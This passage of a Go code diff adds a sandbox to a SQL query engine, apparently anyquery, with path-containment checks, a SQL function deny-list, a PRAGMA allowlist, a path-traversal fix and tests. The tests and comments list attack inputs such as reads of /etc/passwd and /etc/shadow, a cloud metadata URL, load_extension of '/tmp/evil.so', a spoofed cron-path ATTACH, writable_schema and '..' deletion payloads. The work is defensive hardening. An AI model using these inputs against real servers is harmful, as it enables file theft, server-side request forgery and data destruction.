    +// permitted. filename is the value the SQLite authorizer reports for
    +// SQLITE_ATTACH. In-memory databases are always allowed; an empty filename
    +// (e.g. a parameterized ATTACH at prepare time, whose value is bound later and
    +// never re-authorized) is denied.
    +func (r *Restrictions) AllowAttachPath(filename string) bool {
    +	if r == nil {
    +		return true // unrestricted
    +	}
    +	filename = strings.TrimSpace(filename)
    +	if filename == "" {
    +		return false
    +	}
    +	if isInMemoryDB(filename) {
    +		return true
    +	}
    +	if !r.AllowAttach {
    +		return false
    +	}
    +	return r.checkLocalPath(attachPathToFile(filename)) == nil
    +}
    +
    +// isInMemoryDB reports whether an ATTACH target refers to an in-memory database.
    +// The mode is read from the parsed file: URI query, not matched as a substring,
    +// so a path like file:/etc/cron.d/pwn?x=mode=memory is not mistaken for memory.
    +func isInMemoryDB(name string) bool {
    +	if name == ":memory:" {
    +		return true
    +	}
    +	if strings.HasPrefix(name, "file:") {
    +		if u, err := url.Parse(name); err == nil {
    +			if strings.EqualFold(u.Query().Get("mode"), "memory") {
    +				return true
    +			}
    +		}
    +	}
    +	return false
    +}
    +
    +// attachPathToFile extracts the filesystem path from an ATTACH target, handling
    +// the SQLite file: URI form.
    +func attachPathToFile(name string) string {
    +	if strings.HasPrefix(name, "file:") {
    +		if u, err := url.Parse(name); err == nil {
    +			if u.Opaque != "" {
    +				return u.Opaque
    +			}
    +			return u.Path
    +		}
    +	}
    +	return name
    +}
    +
    +// checkLocalPath confirms that path resolves inside one of AllowedDirs. Both
    +// the target and each allowed directory are canonicalized the same way so a
    +// symlink cannot be used to escape, and so platforms where a parent is itself a
    +// symlink (e.g. macOS /var -> /private/var) compare consistently.
    +func (r *Restrictions) checkLocalPath(path string) error {
    +	target := resolvePath(path)
    +	for _, dir := range r.AllowedDirs {
    +		if strings.TrimSpace(dir) == "" {
    +			continue
    +		}
    +		if pathWithin(resolvePath(dir), target) {
    +			return nil
    +		}
    +	}
    +	return fmt.Errorf("sandbox: access to %q is not allowed; permitted directories: %v", path, r.AllowedDirs)
    +}
    +
    +// resolvePath returns an absolute, symlink-resolved form of p. When p itself
    +// does not exist yet (a file about to be created/read), it resolves the longest
    +// existing ancestor — which also resolves any symlink in the existing portion —
    +// and re-appends the remainder, so containment checks are not defeated by a
    +// symlinked parent or fooled into mismatching by an unresolved leaf.
    +func resolvePath(p string) string {
    +	if abs, err := filepath.Abs(p); err == nil {
    +		p = abs
    +	}
    +	p = filepath.Clean(p)
    +	if resolved, err := filepath.EvalSymlinks(p); err == nil {
    +		return resolved
    +	}
    +	dir := p
    +	var rest []string
    +	for {
    +		parent := filepath.Dir(dir)
    +		if parent == dir {
    +			break // reached the volume root
    +		}
    +		rest = append([]string{filepath.Base(dir)}, rest...)
    +		if resolved, err := filepath.EvalSymlinks(parent); err == nil {
    +			return filepath.Join(append([]string{resolved}, rest...)...)
    +		}
    +		dir = parent
    +	}
    +	return p
    +}
    +
    +// pathWithin reports whether target is base itself or nested inside base.
    +func pathWithin(base, target string) bool {
    +	rel, err := filepath.Rel(base, target)
    +	if err != nil {
    +		return false // e.g. different Windows volumes
    +	}
    +	if rel == "." {
    +		return true
    +	}
    +	return rel != ".." && !strings.HasPrefix(rel, ".."+string(os.PathSeparator))
    +}
    
  • module/restrictions_test.go+173 0 added
    @@ -0,0 +1,173 @@
    +package module
    +
    +import (
    +	"os"
    +	"path/filepath"
    +	"testing"
    +)
    +
    +func TestRestrictionsNilIsUnrestricted(t *testing.T) {
    +	var r *Restrictions // nil
    +	if err := r.CheckSource("/etc/passwd"); err != nil {
    +		t.Errorf("nil restrictions should allow any source, got %v", err)
    +	}
    +	if err := r.CheckSource("http://169.254.169.254/"); err != nil {
    +		t.Errorf("nil restrictions should allow remote, got %v", err)
    +	}
    +	if err := r.CheckFileRead("/etc/shadow"); err != nil {
    +		t.Errorf("nil restrictions should allow any file, got %v", err)
    +	}
    +	if !r.AllowAttachPath("/etc/cron.d/pwn") {
    +		t.Errorf("nil restrictions should allow any attach")
    +	}
    +}
    +
    +func TestIsRemoteSource(t *testing.T) {
    +	cases := map[string]bool{
    +		"http://example.com/x":  true,
    +		"https://example.com/x": true,
    +		"s3://bucket/key":       true,
    +		"git::https://x/y":      true,
    +		"file:///etc/passwd":    false,
    +		"file::/etc/passwd":     false,
    +		"/etc/passwd":           false,
    +		"data.csv":              false,
    +		"./rel/data.csv":        false,
    +		`C:\data\x.csv`:         false,
    +	}
    +	for src, want := range cases {
    +		if got := isRemoteSource(src); got != want {
    +			t.Errorf("isRemoteSource(%q) = %v, want %v", src, got, want)
    +		}
    +	}
    +}
    +
    +func TestCheckSourceRemote(t *testing.T) {
    +	denied := &Restrictions{AllowRemote: false}
    +	if err := denied.CheckSource("http://169.254.169.254/latest/meta-data/"); err == nil {
    +		t.Error("expected remote fetch to be denied when AllowRemote is false")
    +	}
    +	allowed := &Restrictions{AllowRemote: true}
    +	if err := allowed.CheckSource("https://example.com/data.csv"); err != nil {
    +		t.Errorf("expected remote fetch to be allowed when AllowRemote is true, got %v", err)
    +	}
    +}
    +
    +func TestCheckSourceEmpty(t *testing.T) {
    +	r := &Restrictions{}
    +	if err := r.CheckSource(""); err == nil {
    +		t.Error("expected empty source to be denied")
    +	}
    +}
    +
    +func TestCheckFileReadContainment(t *testing.T) {
    +	root := t.TempDir()
    +	allowed := filepath.Join(root, "data")
    +	sibling := filepath.Join(root, "data-secret") // prefix-of-allowed trap
    +	if err := os.MkdirAll(allowed, 0o755); err != nil {
    +		t.Fatal(err)
    +	}
    +	if err := os.MkdirAll(sibling, 0o755); err != nil {
    +		t.Fatal(err)
    +	}
    +
    +	r := &Restrictions{AllowedDirs: []string{allowed}}
    +
    +	if err := r.CheckFileRead(filepath.Join(allowed, "x.csv")); err != nil {
    +		t.Errorf("file directly in allowed dir should pass, got %v", err)
    +	}
    +	if err := r.CheckFileRead(filepath.Join(allowed, "sub", "x.csv")); err != nil {
    +		t.Errorf("file nested in allowed dir should pass, got %v", err)
    +	}
    +	if err := r.CheckFileRead(allowed); err != nil {
    +		t.Errorf("the allowed dir itself should pass, got %v", err)
    +	}
    +	if err := r.CheckFileRead(filepath.Join(sibling, "x.csv")); err == nil {
    +		t.Error("a sibling dir sharing a name prefix must NOT be treated as allowed")
    +	}
    +	if err := r.CheckFileRead("/etc/passwd"); err == nil {
    +		t.Error("a path outside the allowed dir must be denied")
    +	}
    +}
    +
    +func TestCheckFileReadSymlinkEscape(t *testing.T) {
    +	root := t.TempDir()
    +	allowed := filepath.Join(root, "data")
    +	secret := filepath.Join(root, "secret")
    +	if err := os.MkdirAll(allowed, 0o755); err != nil {
    +		t.Fatal(err)
    +	}
    +	if err := os.MkdirAll(secret, 0o755); err != nil {
    +		t.Fatal(err)
    +	}
    +	secretFile := filepath.Join(secret, "x.csv")
    +	if err := os.WriteFile(secretFile, []byte("a,b\n1,2\n"), 0o644); err != nil {
    +		t.Fatal(err)
    +	}
    +	// A symlink inside the allowed dir that points outside it.
    +	link := filepath.Join(allowed, "link")
    +	if err := os.Symlink(secret, link); err != nil {
    +		t.Skipf("symlinks not supported: %v", err)
    +	}
    +
    +	r := &Restrictions{AllowedDirs: []string{allowed}}
    +	if err := r.CheckFileRead(filepath.Join(link, "x.csv")); err == nil {
    +		t.Error("a symlink escaping the allowed dir must be denied")
    +	}
    +}
    +
    +func TestAllowAttachPath(t *testing.T) {
    +	root := t.TempDir()
    +	allowed := filepath.Join(root, "db")
    +	if err := os.MkdirAll(allowed, 0o755); err != nil {
    +		t.Fatal(err)
    +	}
    +	inDir := filepath.Join(allowed, "ok.db")
    +	outDir := filepath.Join(root, "elsewhere.db")
    +
    +	// AllowAttach disabled: only in-memory permitted.
    +	noAttach := &Restrictions{AllowedDirs: []string{allowed}, AllowAttach: false}
    +	for _, c := range []struct {
    +		name string
    +		path string
    +		want bool
    +	}{
    +		{"empty denied", "", false},
    +		{"memory literal", ":memory:", true},
    +		{"file uri memory", "file:m.db?mode=memory&cache=shared", true},
    +		{"spoofed memory in wrong param", "file:/etc/cron.d/pwn?x=mode=memory", false},
    +		{"on-disk denied when AllowAttach off", inDir, false},
    +	} {
    +		if got := noAttach.AllowAttachPath(c.path); got != c.want {
    +			t.Errorf("AllowAttach=false AllowAttachPath(%q) = %v, want %v", c.path, got, c.want)
    +		}
    +	}
    +
    +	// AllowAttach enabled: on-disk permitted only within allowed dirs.
    +	withAttach := &Restrictions{AllowedDirs: []string{allowed}, AllowAttach: true}
    +	if !withAttach.AllowAttachPath(inDir) {
    +		t.Errorf("on-disk attach within allowed dir should be permitted")
    +	}
    +	if withAttach.AllowAttachPath(outDir) {
    +		t.Errorf("on-disk attach outside allowed dirs must be denied")
    +	}
    +	if !withAttach.AllowAttachPath(":memory:") {
    +		t.Errorf("in-memory attach should always be permitted")
    +	}
    +}
    +
    +func TestEmptyRestrictionsLockedDown(t *testing.T) {
    +	r := &Restrictions{} // zero value = maximally restrictive
    +	if err := r.CheckSource("/any/file"); err == nil {
    +		t.Error("zero-value restrictions should deny all local reads (no allowed dirs)")
    +	}
    +	if err := r.CheckSource("http://x/"); err == nil {
    +		t.Error("zero-value restrictions should deny remote")
    +	}
    +	if r.AllowAttachPath("/tmp/x.db") {
    +		t.Error("zero-value restrictions should deny on-disk attach")
    +	}
    +	if !r.AllowAttachPath(":memory:") {
    +		t.Error("zero-value restrictions should still allow in-memory attach")
    +	}
    +}
    
  • namespace/namespace.go+122 17 modified
    @@ -23,6 +23,41 @@ import (
     	"golang.org/x/mod/sumdb/dirhash"
     )
     
    +// deniedSandboxFunctions is the set of scalar SQL functions the sandbox
    +// authorizer blocks outright (SQLITE_FUNCTION), as defense in depth on top of
    +// the per-function policy checks. These read arbitrary files or delete on-disk
    +// cache directories. load_extension is included so a future change that
    +// re-enables the SQL function (go-sqlite3 disables it by default) cannot
    +// silently become an RCE vector. Keys are lowercase.
    +var deniedSandboxFunctions = map[string]bool{
    +	"load_file":          true,
    +	"load_file_bytes":    true,
    +	"clear_plugin_cache": true,
    +	"clear_file_cache":   true,
    +	"load_extension":     true,
    +}
    +
    +// allowedSandboxPragmas is the read-only PRAGMA allowlist enforced by the
    +// sandbox authorizer (SQLITE_PRAGMA). Everything not listed is denied. These
    +// are the schema-introspection pragmas the engine, the MySQL protocol handler
    +// (notably the direct "PRAGMA database_list"), and the information_schema /
    +// SHOW emulation depend on. Keys are lowercase.
    +var allowedSandboxPragmas = map[string]bool{
    +	"table_info":       true,
    +	"table_xinfo":      true,
    +	"table_list":       true,
    +	"index_info":       true,
    +	"index_xinfo":      true,
    +	"index_list":       true,
    +	"foreign_key_list": true,
    +	"database_list":    true,
    +	"collation_list":   true,
    +	"function_list":    true,
    +	"module_list":      true,
    +	"pragma_list":      true,
    +	"compile_options":  true,
    +}
    +
     func hashDirectory(path string) (string, error) {
     	str, err := dirhash.HashDir(path, "", dirhash.Hash1)
     	if err != nil {
    @@ -67,6 +102,13 @@ type NamespaceConfig struct {
     	// This can represent a security risk if the server is exposed to the internet
     	// Therefore, it's recommended to disable it in production
     	DevMode bool
    +
    +	// Restrictions is the sandboxing policy applied to file/URL access, the
    +	// database reader modules, and ATTACH/VACUUM INTO. A nil value (the default)
    +	// means no restrictions, which is appropriate for trusted local CLI use. A
    +	// non-nil value is enforced and should be set when exposing the namespace as
    +	// a server. See module.Restrictions.
    +	Restrictions *module.Restrictions
     }
     
     type Namespace struct {
    @@ -105,6 +147,9 @@ type Namespace struct {
     	// A map of the plugin table, and their modules
     	// This is used to flush the insert/update/delete buffers
     	anyqueryPlugins map[string]*module.SQLiteModule
    +
    +	// The sandboxing policy (nil means no restrictions). See module.Restrictions.
    +	restrictions *module.Restrictions
     }
     
     type sharedObjectExtension struct {
    @@ -179,6 +224,9 @@ func (n *Namespace) Init(config NamespaceConfig) error {
     	// Set the dev mode
     	n.devMode = config.DevMode
     
    +	// Set the sandboxing policy (nil means no restrictions)
    +	n.restrictions = config.Restrictions
    +
     	// Create the connection pool
     	n.pool = rpc.NewConnectionPool()
     
    @@ -338,19 +386,24 @@ func (n *Namespace) Register(registerName string) (*sql.DB, error) {
     			conn.RegisterFunc("clear_buffers", bufferFlusher.Clear, false)
     			conn.RegisterFunc("flush_buffers", bufferFlusher.Flush, false)
     
    -			// Register JSON and CSV modules
    -			conn.CreateModule("json_reader", &module.JSONModule{})
    -			conn.CreateModule("csv_reader", &module.CsvModule{})
    -			conn.CreateModule("parquet_reader", &module.ParquetModule{})
    -			conn.CreateModule("html_reader", &module.HtmlModule{})
    -			conn.CreateModule("yaml_reader", &module.YamlModule{})
    -			conn.CreateModule("toml_reader", &module.TomlModule{})
    -			conn.CreateModule("jsonl_reader", &module.JSONlModule{})
    -			conn.CreateModule("log_reader", &module.LogModule{})
    +			// Register JSON and CSV modules.
    +			// Each reader receives the sandbox policy (nil = unrestricted) so it
    +			// confines local file reads to the allowed directories and rejects
    +			// remote fetches unless permitted.
    +			conn.CreateModule("json_reader", &module.JSONModule{Restrictions: n.restrictions})
    +			conn.CreateModule("csv_reader", &module.CsvModule{Restrictions: n.restrictions})
    +			conn.CreateModule("parquet_reader", &module.ParquetModule{Restrictions: n.restrictions})
    +			conn.CreateModule("html_reader", &module.HtmlModule{Restrictions: n.restrictions})
    +			conn.CreateModule("yaml_reader", &module.YamlModule{Restrictions: n.restrictions})
    +			conn.CreateModule("toml_reader", &module.TomlModule{Restrictions: n.restrictions})
    +			conn.CreateModule("jsonl_reader", &module.JSONlModule{Restrictions: n.restrictions})
    +			conn.CreateModule("log_reader", &module.LogModule{Restrictions: n.restrictions})
     
     			// Register the string functions
     			// like position, repeat, replace, etc.
    -			registerStringFunctions(conn)
    +			// The sandbox policy (nil = unrestricted) is threaded in so that
    +			// load_file/load_file_bytes honor the allowed-directory policy.
    +			registerStringFunctions(conn, n.restrictions)
     
     			// Register the URL functions
     			registerURLFunctions(conn)
    @@ -362,20 +415,27 @@ func (n *Namespace) Register(registerName string) (*sql.DB, error) {
     			registerDateFunctions(conn)
     
     			// Register the other functions
    -			registerOtherFunctions(conn)
    +			// The sandbox policy (nil = unrestricted) is threaded in so that
    +			// the cache-management functions are no-ops under a sandbox.
    +			registerOtherFunctions(conn, n.restrictions)
     
     			// Register the JSON functions
     			registerJSONFunctions(conn)
     
     			// Register the collations
     			registerCollations(conn)
     
    -			// Database related modules
    -			conn.CreateModule("postgres_reader", &module.PostgresModule{})
    -			conn.CreateModule("mysql_reader", &module.MySQLModule{})
    -			conn.CreateModule("clickhouse_reader", &module.ClickHouseModule{})
    -			conn.CreateModule("duckdb_reader", &module.DuckDBModule{})
    -			conn.CreateModule("cassandra_reader", &module.CassandraModule{})
    +			// Database related modules.
    +			// These accept arbitrary connection strings (SSRF), and DuckDB can
    +			// read local files and load extensions (RCE), so they are not
    +			// registered under a sandbox unless explicitly allowed.
    +			if n.restrictions == nil || n.restrictions.AllowDBConnections {
    +				conn.CreateModule("postgres_reader", &module.PostgresModule{})
    +				conn.CreateModule("mysql_reader", &module.MySQLModule{})
    +				conn.CreateModule("clickhouse_reader", &module.ClickHouseModule{})
    +				conn.CreateModule("duckdb_reader", &module.DuckDBModule{})
    +				conn.CreateModule("cassandra_reader", &module.CassandraModule{})
    +			}
     
     			// Run the exec statements
     			for i, statement := range n.execStatements {
    @@ -385,6 +445,51 @@ func (n *Namespace) Register(registerName string) (*sql.DB, error) {
     				}
     			}
     
    +			// Register the sandbox authorizer last, so all trusted setup above
    +			// runs unrestricted: module creation and the exec statements, which
    +			// include internal ATTACHes (information_schema/mysql, in-memory) and
    +			// operator-configured external database connections. From here on,
    +			// client queries on this connection are gated. ATTACH DATABASE — and
    +			// VACUUM ... INTO, which SQLite implements as an attach and which
    +			// surfaces through the same SQLITE_ATTACH action with the target path
    +			// as arg1 — are confined to in-memory databases and the allowed
    +			// directories. An empty/unparsed path (e.g. a parameterized ATTACH,
    +			// authorized at prepare time before its value is bound) is denied.
    +			if n.restrictions != nil {
    +				conn.RegisterAuthorizer(func(op int, arg1, arg2, arg3 string) int {
    +					switch op {
    +					case sqlite3.SQLITE_ATTACH:
    +						if n.restrictions.AllowAttachPath(arg1) {
    +							return sqlite3.SQLITE_OK
    +						}
    +						return sqlite3.SQLITE_DENY
    +					case sqlite3.SQLITE_FUNCTION:
    +						// Defense in depth on top of the per-function checks:
    +						// deny the scalar functions that read files or mutate the
    +						// on-disk cache outright. For SQLITE_FUNCTION, arg2 is the
    +						// function name.
    +						if deniedSandboxFunctions[strings.ToLower(arg2)] {
    +							return sqlite3.SQLITE_DENY
    +						}
    +						return sqlite3.SQLITE_OK
    +					case sqlite3.SQLITE_PRAGMA:
    +						// Allow only read-only introspection pragmas. For
    +						// SQLITE_PRAGMA, arg1 is the pragma name. This blocks
    +						// schema-corruption vectors (writable_schema=ON +
    +						// UPDATE sqlite_master) and memory-inflation pragmas
    +						// (cache_size/mmap_size), while keeping the introspection
    +						// the engine, the MySQL handler, and information_schema
    +						// rely on.
    +						if allowedSandboxPragmas[strings.ToLower(arg1)] {
    +							return sqlite3.SQLITE_OK
    +						}
    +						return sqlite3.SQLITE_DENY
    +					default:
    +						return sqlite3.SQLITE_OK
    +					}
    +				})
    +			}
    +
     			return nil
     		},
     	})
    
  • namespace/other_functions.go+39 5 modified
    @@ -5,6 +5,7 @@ import (
     	"os"
     	pathlib "path"
     	"strconv"
    +	"strings"
     
     	"github.com/adrg/xdg"
     	u "github.com/bcicen/go-units"
    @@ -14,14 +15,32 @@ import (
     
     /* ------------------------------- Clear cache ------------------------------ */
     
    -func registerOtherFunctions(conn *sqlite3.SQLiteConn) {
    +func registerOtherFunctions(conn *sqlite3.SQLiteConn, restrictions *module.Restrictions) {
    +	// Cache management deletes on-disk cache directories. That is an operator
    +	// action, not something an untrusted client should drive, so under a sandbox
    +	// these functions become no-ops that report being disabled. (nil == no
    +	// sandbox == unrestricted CLI use.)
    +	sandboxed := restrictions != nil
    +	clearFileCache := func() string {
    +		if sandboxed {
    +			return "sandbox: clear_file_cache is disabled"
    +		}
    +		return clear_file_cache()
    +	}
    +	clearPluginCache := func(plugin string) string {
    +		if sandboxed {
    +			return "sandbox: clear_plugin_cache is disabled"
    +		}
    +		return clear_plugin_cache(plugin)
    +	}
    +
     	var otherFunctions = []struct {
     		name     string
     		function any
     		pure     bool
     	}{
    -		{"clear_file_cache", clear_file_cache, true},
    -		{"clear_plugin_cache", clear_plugin_cache, true},
    +		{"clear_file_cache", clearFileCache, true},
    +		{"clear_plugin_cache", clearPluginCache, true},
     		{"convert_unit", convert_unit, true},
     		{"format_unit", format_unit, true},
     	}
    @@ -43,12 +62,27 @@ func clear_file_cache() string {
     }
     
     func clear_plugin_cache(plugin string) string {
    -	pathToRemove := pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin)
    -
     	if plugin == "" {
     		return "The plugin name is empty"
     	}
     
    +	// The plugin name must be a single path component. A separator or a ".."
    +	// segment would let the joined path escape the cache root and recursively
    +	// delete an arbitrary directory (path.Join collapses "..").
    +	if strings.ContainsAny(plugin, `/\`) || strings.Contains(plugin, "..") {
    +		return "invalid plugin name"
    +	}
    +
    +	root := pathlib.Join(xdg.CacheHome, "anyquery", "plugins")
    +	pathToRemove := pathlib.Join(root, plugin)
    +
    +	// Defense in depth: confirm the resolved target is still nested under the
    +	// cache root before removing it. The rejection above already guarantees
    +	// this; this guards against a future change to the construction above.
    +	if pathToRemove != root && !strings.HasPrefix(pathToRemove, root+"/") {
    +		return "invalid plugin name"
    +	}
    +
     	// Remove the directory
     	err := os.RemoveAll(pathToRemove)
     	if err != nil {
    
  • namespace/sandbox_followup_test.go+141 0 added
    @@ -0,0 +1,141 @@
    +package namespace
    +
    +import (
    +	"context"
    +	"os"
    +	"path/filepath"
    +	"strings"
    +	"testing"
    +
    +	"github.com/adrg/xdg"
    +	"github.com/julien040/anyquery/module"
    +)
    +
    +// TestSandboxDeniesDangerousFunctions covers follow-up issues #1 and #2 over the
    +// SQL surface: the file-reading and cache-deleting scalar functions are blocked
    +// by the sandbox authorizer (SQLITE_FUNCTION deny-list), so the LFR and the
    +// arbitrary-directory-delete PoCs cannot run.
    +func TestSandboxDeniesDangerousFunctions(t *testing.T) {
    +	ctx := context.Background()
    +	conn := sandboxConn(t, &module.Restrictions{AllowedDirs: []string{t.TempDir()}})
    +
    +	cases := []string{
    +		"SELECT load_file('/etc/passwd')",
    +		"SELECT load_file_bytes('/etc/passwd')",
    +		"SELECT clear_plugin_cache('github')",
    +		"SELECT clear_file_cache()",
    +		// load_extension must never become reachable (RCE). go-sqlite3 disables
    +		// the SQL function by default; the authorizer also deny-lists it.
    +		"SELECT load_extension('/tmp/evil.so')",
    +	}
    +	for _, q := range cases {
    +		if _, err := conn.ExecContext(ctx, q); err == nil {
    +			t.Errorf("expected %q to be denied under sandbox", q)
    +		}
    +	}
    +}
    +
    +// TestSandboxPragmaAllowlist covers follow-up issue #8: only read-only
    +// introspection pragmas are allowed; schema-corruption and memory-inflation
    +// pragmas are denied.
    +func TestSandboxPragmaAllowlist(t *testing.T) {
    +	ctx := context.Background()
    +	conn := sandboxConn(t, &module.Restrictions{AllowedDirs: []string{t.TempDir()}})
    +
    +	if _, err := conn.ExecContext(ctx, "CREATE TABLE t (a INT, b TEXT)"); err != nil {
    +		t.Fatalf("CREATE TABLE should be allowed under sandbox, got: %v", err)
    +	}
    +
    +	// Denied: write/escalation/memory pragmas.
    +	for _, q := range []string{
    +		"PRAGMA writable_schema = ON",
    +		"PRAGMA cache_size = 1000000",
    +		"PRAGMA mmap_size = 1000000000",
    +	} {
    +		if _, err := conn.ExecContext(ctx, q); err == nil {
    +			t.Errorf("expected %q to be denied under sandbox", q)
    +		}
    +	}
    +
    +	// Allowed: read-only introspection pragmas the engine/handlers rely on.
    +	// Close the rows so the dedicated connection is released before cleanup.
    +	for _, q := range []string{"PRAGMA table_info(t)", "PRAGMA database_list"} {
    +		rows, err := conn.QueryContext(ctx, q)
    +		if err != nil {
    +			t.Errorf("%q should be allowed under sandbox, got: %v", q, err)
    +			continue
    +		}
    +		rows.Close()
    +	}
    +}
    +
    +// TestNoSandboxLoadFileWorks confirms a nil policy leaves load_file unchanged:
    +// it reads files as before. (CheckFileRead is a no-op on a nil receiver.)
    +func TestNoSandboxLoadFileWorks(t *testing.T) {
    +	ctx := context.Background()
    +	conn := sandboxConn(t, nil) // unrestricted
    +
    +	path := filepath.Join(t.TempDir(), "data.txt")
    +	if err := os.WriteFile(path, []byte("hello"), 0o644); err != nil {
    +		t.Fatal(err)
    +	}
    +
    +	var got string
    +	if err := conn.QueryRowContext(ctx, "SELECT load_file('"+path+"')").Scan(&got); err != nil {
    +		t.Fatalf("load_file should work without a sandbox, got: %v", err)
    +	}
    +	if got != "hello" {
    +		t.Errorf("expected %q, got %q", "hello", got)
    +	}
    +}
    +
    +// TestClearPluginCachePathTraversal covers the core of issue #2: the path-
    +// traversal hardening in clear_plugin_cache itself, independent of the
    +// authorizer. A traversal payload must be rejected without deleting anything
    +// outside the cache root; a plain name still works.
    +func TestClearPluginCachePathTraversal(t *testing.T) {
    +	// Isolate the cache root so the test never touches the real cache.
    +	cacheHome := t.TempDir()
    +	orig := xdg.CacheHome
    +	xdg.CacheHome = cacheHome
    +	t.Cleanup(func() { xdg.CacheHome = orig })
    +
    +	pluginsRoot := filepath.Join(cacheHome, "anyquery", "plugins")
    +
    +	// A legitimate plugin directory is removed and reports success.
    +	legit := filepath.Join(pluginsRoot, "github")
    +	if err := os.MkdirAll(legit, 0o755); err != nil {
    +		t.Fatal(err)
    +	}
    +	if msg := clear_plugin_cache("github"); msg != "" {
    +		t.Errorf("clear_plugin_cache(\"github\") should succeed, got: %q", msg)
    +	}
    +	if _, err := os.Stat(legit); !os.IsNotExist(err) {
    +		t.Errorf("expected %s to be removed", legit)
    +	}
    +
    +	// A victim directory outside the cache root must survive a traversal payload
    +	// that resolves to it.
    +	victim := filepath.Join(t.TempDir(), "victim")
    +	if err := os.MkdirAll(victim, 0o755); err != nil {
    +		t.Fatal(err)
    +	}
    +	traversal, err := filepath.Rel(pluginsRoot, victim)
    +	if err != nil {
    +		t.Fatal(err)
    +	}
    +	if !strings.Contains(traversal, "..") {
    +		t.Fatalf("test setup: expected a traversal payload with \"..\", got %q", traversal)
    +	}
    +	if msg := clear_plugin_cache(traversal); msg != "invalid plugin name" {
    +		t.Errorf("traversal payload should be rejected, got: %q", msg)
    +	}
    +	if _, err := os.Stat(victim); err != nil {
    +		t.Errorf("victim directory must survive a traversal payload: %v", err)
    +	}
    +
    +	// A bare separator is rejected too.
    +	if msg := clear_plugin_cache("a/b"); msg != "invalid plugin name" {
    +		t.Errorf("separator payload should be rejected, got: %q", msg)
    +	}
    +}
    
  • namespace/sandbox_mysql_test.go+116 0 added
    @@ -0,0 +1,116 @@
    +package namespace
    +
    +import (
    +	"fmt"
    +	"io"
    +	"os"
    +	"path/filepath"
    +	"testing"
    +	"time"
    +
    +	"github.com/charmbracelet/log"
    +	_ "github.com/go-sql-driver/mysql"
    +	"github.com/jmoiron/sqlx"
    +	"github.com/stretchr/testify/require"
    +
    +	"github.com/julien040/anyquery/module"
    +)
    +
    +// TestMySQLServerSandbox exercises the real attack surface: the MySQL protocol
    +// handler with MustCatchMySQLSpecific, under a sandbox policy. It asserts both
    +// directions — the PoCs are blocked, and legitimate server functionality
    +// (notably the lazy in-memory information_schema ATTACH, which runs on a
    +// connection that already has the authorizer installed) still works.
    +func TestMySQLServerSandbox(t *testing.T) {
    +	allowed := t.TempDir()
    +	csvPath := filepath.Join(allowed, "ok.csv")
    +	require.NoError(t, os.WriteFile(csvPath, []byte("name,age\nalice,30\n"), 0o644))
    +
    +	tmp := t.TempDir()
    +	attackDB := filepath.Join(tmp, "pwn.db")
    +	vacDB := filepath.Join(tmp, "vac.db")
    +
    +	ns, err := NewNamespace(NamespaceConfig{
    +		InMemory:     true,
    +		Restrictions: &module.Restrictions{AllowedDirs: []string{allowed}},
    +	})
    +	require.NoError(t, err, "creating a sandboxed namespace should not fail")
    +
    +	db, err := ns.Register("sbtestdb")
    +	require.NoError(t, err, "registering should not fail")
    +
    +	logger := log.Default()
    +	logger.SetOutput(io.Discard)
    +	if testing.Verbose() {
    +		logger = log.New(os.Stderr)
    +	}
    +
    +	const addr = "127.0.0.1:8011"
    +	server := MySQLServer{
    +		DB:                     db,
    +		MustCatchMySQLSpecific: true,
    +		Address:                addr,
    +		Logger:                 logger,
    +	}
    +	go func() {
    +		_ = server.Start()
    +		db.Close()
    +	}()
    +	defer server.Stop()
    +	time.Sleep(200 * time.Millisecond)
    +
    +	conn, err := sqlx.Open("mysql", "testuser:aa@tcp("+addr+")/sbtestdb")
    +	require.NoError(t, err, "connecting should not fail")
    +	defer conn.Close()
    +
    +	// --- Direction 1: the PoCs are blocked over the MySQL protocol ---
    +
    +	t.Run("LFR denied", func(t *testing.T) {
    +		_, err := conn.Exec("CREATE VIRTUAL TABLE passwd USING csv_reader('/etc/passwd')")
    +		require.Error(t, err, "reading /etc/passwd must be denied")
    +		require.Contains(t, err.Error(), "sandbox")
    +	})
    +
    +	t.Run("ATTACH denied", func(t *testing.T) {
    +		_, err := conn.Exec(fmt.Sprintf("ATTACH DATABASE '%s' AS pwn", attackDB))
    +		require.Error(t, err, "ATTACH to an arbitrary path must be denied")
    +		_, statErr := os.Stat(attackDB)
    +		require.True(t, os.IsNotExist(statErr), "ATTACH must not create a file")
    +	})
    +
    +	t.Run("VACUUM INTO denied", func(t *testing.T) {
    +		_, err := conn.Exec(fmt.Sprintf("VACUUM main INTO '%s'", vacDB))
    +		require.Error(t, err, "VACUUM INTO an arbitrary path must be denied")
    +		_, statErr := os.Stat(vacDB)
    +		require.True(t, os.IsNotExist(statErr), "VACUUM INTO must not create a file")
    +	})
    +
    +	// --- Direction 2: legitimate server functionality still works ---
    +
    +	t.Run("plain query works", func(t *testing.T) {
    +		var n int
    +		require.NoError(t, conn.Get(&n, "SELECT 1 FROM dual"))
    +		require.Equal(t, 1, n)
    +	})
    +
    +	t.Run("SHOW TABLES works under sandbox", func(t *testing.T) {
    +		// This drives the lazy in-memory information_schema/mysql ATTACH on a
    +		// connection that already has the sandbox authorizer installed. If the
    +		// in-memory allowance regressed, this would fail with "not authorized".
    +		var tables []string
    +		require.NoError(t, conn.Select(&tables, "SHOW TABLES"))
    +	})
    +
    +	t.Run("information_schema query works under sandbox", func(t *testing.T) {
    +		var n int
    +		require.NoError(t, conn.Get(&n, "SELECT count(*) FROM information_schema.tables"))
    +	})
    +
    +	t.Run("allowed-dir read works under sandbox", func(t *testing.T) {
    +		_, err := conn.Exec(fmt.Sprintf("CREATE VIRTUAL TABLE ok USING csv_reader('%s', header=true)", csvPath))
    +		require.NoError(t, err, "reading a file inside an allowed dir should work")
    +		var n int
    +		require.NoError(t, conn.Get(&n, "SELECT count(*) FROM ok"))
    +		require.Equal(t, 1, n)
    +	})
    +}
    
  • namespace/sandbox_test.go+161 0 added
    @@ -0,0 +1,161 @@
    +package namespace
    +
    +import (
    +	"context"
    +	"database/sql"
    +	"os"
    +	"path/filepath"
    +	"strings"
    +	"testing"
    +
    +	"github.com/hashicorp/go-hclog"
    +	"github.com/julien040/anyquery/module"
    +)
    +
    +// sandboxConn builds an in-memory namespace with the given policy and returns a
    +// single dedicated connection (so multi-statement tests are deterministic — the
    +// in-memory database and the per-connection authorizer live on one connection).
    +func sandboxConn(t *testing.T, r *module.Restrictions) *sql.Conn {
    +	t.Helper()
    +	ns, err := NewNamespace(NamespaceConfig{
    +		InMemory:     true,
    +		Logger:       hclog.NewNullLogger(),
    +		Restrictions: r,
    +	})
    +	if err != nil {
    +		t.Fatalf("NewNamespace: %v", err)
    +	}
